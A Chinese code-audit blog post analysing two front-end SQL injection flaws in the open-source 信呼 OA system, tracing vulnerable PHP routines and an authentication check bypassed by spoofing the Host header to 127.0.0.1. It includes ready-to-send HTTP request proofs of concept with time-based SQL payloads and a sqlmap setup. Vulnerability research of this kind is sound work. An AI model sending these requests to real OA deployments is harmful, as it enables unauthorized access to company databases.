文章来源:https://xz.aliyun.com/news/18185
系统介绍
信呼,免费开源的办公OA系统,包括APP,pc上客户端,REIM即时通信,服务端等,让每个企业单位都有自己的办公系统。
官网:http://www.rockoa.com
路由分析
抓一个登录请求包分析
其中a是方法 m是目录 如果有多层目录则 d是最外层目录 m由 文件名|目录 组成
漏洞点一 (存在 ip限制)
源码分析
在文件中分析代码找到webmain/task/openapi/opendkqAction.php的addkqjs方法 调用了insert方法
private function addkqjs($sn) { $uarr = array( 'pinpai'=> '1', 'num'=> $sn, 'name'=> $sn, 'comid' => '1', 'optdt' => $this->now ); $uarr['id'] = m('kqjsn')->insert($uarr); return $uarr; }
一步步跟进去查看insert方法 确认传入的值被带入到sql语句中执行了sql
public function insert($arr) { $nid = 0; if($this->record($arr, ''))$nid = $this->db->insert_id(); return $nid; } // include/class/mysql.phppublic function record($arr, $where='') { return $this->db->record($this->table, $arr, $where); }public function record($table,$array,$where='') { $addbool = true; if(!$this->isempt($where))$addbool=false; $cont = ''; if(is_array($array)){ foreach($array as $key=>$val){ $cont.=",`$key`=".$this->toaddval($val).""; } $cont = substr($cont,1); }else{ $cont = $array; } $table = $this->gettables($table); if($addbool){ $sql="insert into $table set $cont"; }else{ $where = $this->getwhere($where); $sql="update $table set $cont where $where"; } return $this->tranbegin($sql); }private function tranbegin($sql) { //if($this->errorbool)return false; if($this->conn == null)$this->connect(); $this->iudcount++; if(!$this->tran){ //$this->starttran(); //$this->tran=true; } $rsa = $this->query($sql); $this->iudarr[]=$rsa; if(!$rsa)$this->errorbool = true; return $rsa; }
接下来就往上看哪里调用addkqjs方法传值 $sn 在同文件内 找到了senddata 调用了这个方法
private function senddata($type) { $str = $this->postdata; if(isempt($str))$this->showreturn('', 'not data', 201); $arr = json_decode($str, true); $oi = 0;$uarr = array();$finarr = array(); $dtobj = c('date');$adb = m('admin');$db = m('kqdkjl');$uobj = m('userinfo'); $updt = ''; $cheobj = c('check'); $snarr = array(); if($type==9){ $snarr = $this->db->getarr('[Q]kqjsn','`pinpai`=1','`id`,`name`','num'); } $datype = array('密码','指纹','刷卡'); if(is_array($arr))foreach($arr as $k=>$rs){ $name = isset($rs['name']) ? $rs['name'] : ''; $dkdt = isset($rs['dkdt']) ? $rs['dkdt'] : ''; $finge= isset($rs['finge']) ? $rs['finge'] : ''; $name = str_replace("'",'', $name); $uid = 0; $snid = 0; $sntype = 1; $comid = 0; $explain = ''; if($type==9){ $sn = arrvalue($rs, 'sn'); if(!$sn)continue; $snrs = arrvalue($snarr, $sn); if(!$snrs){ $snrs = $this->addkqjs($sn); $snarr[$sn] = $snrs; }
继续分析代码$sn 由arrvalue方法取自传入的第一参数的 一个key为sn的valen值
$sn = arrvalue($rs, 'sn'); function arrvalue($arr, $k, $dev='') { $val = $dev; if(isset($arr[$k]))$val= $arr[$k]; return $val; }
继续分析代码 得知想要执行到这里 需要$type 等于9且 $rs 来自于 $arr 的value 然后 $arr 又来自于 json解码后的 $str $str来自于 传入的post请求体 是可控的
最后查找调用 senddata 被 同文件下的 zktimeAction 调用 同时也传入了9 满足上面的 $type =9
public function zktimeAction() { //9中控 $carr = $this->senddata(9); echo $carr['updt']; }
继续看代码发现 这个类的父类中存在一个鉴权 但是分析代码可知 Host 是127.0.0.1 或 192.168.x.x 的范围就可以绕过验证 。
public function initAction() { $this->display= false; $openkey = $this->post('openkey'); $this->openkey = getconfig('openkey'); if($this->keycheck && HOST != '127.0.0.1' && !contain(HOST,'192.168') && $this->openkey != ''){ if($openkey != md5($this->openkey))$this->showreturn('', 'openkey not access', 201); } $this->getpostdata(); }
按照路由构造请求url
/index.php?m=opendkq|openapi&d=task&a=zktime
按照sn的取值 构造两层json
{"cn":{"sn":"123"}}
host 为127.0.0.1
漏洞利用
poc
POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848Connection: closeContent-Length: 34Content-Type: application/x-www-form-urlencoded{"cn":{"sn":"123' and sleep(3)#"}}
sqlmap
sqlmap 结合burp 修改host
POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848Connection: closeContent-Length: 34Content-Type: application/x-www-form-urlencoded{"cn":{"sn":"123'*"}}
漏洞点二 (存在 ip限制)
源码分析
webmain/task/openapi/openbaseAction.php
看getpostarr()方法可以分析出 传入的post值需要为json格式
继续分析下面的代码传入的参数basemodenum 赋值给了 $modenum baseoptid参数 赋值给了 $adminid 但是经过了过滤 无法传入单引号等内容
在21行代码中调用getuserid方法对 $adminid 参数进行了查询 并且在22行代码可以得知 需要让21行的查询获得数据 不然会直接报错终止
根据查看sql语句可以得知 查询的内容在admin表中 分析可知 最简单方法的就是传入一个1 即可
继续分析代码 查看querydata方法获得了三个参数做了什么操作 看代码发现 在方法中将传入的 $modenum 也就是 $num 传入了initflow方法中
继续跟进initflow方法 发现又被传入了initdata 方法中
在这里 $num 的值被添加到了sql的一个条件语句中被执行 其中无任何限制 这样我们就可以开始构造poc 进行利用
漏洞利用
poc
POST /index.php?m=openbase%7Copenapi&d=task&a=querydata HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 58Cookie: {"baseoptid":"1","basemodenum":"a123456' OR SLEEP(0.01)#"}
原文始发于微信公众号(神农Sec):【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论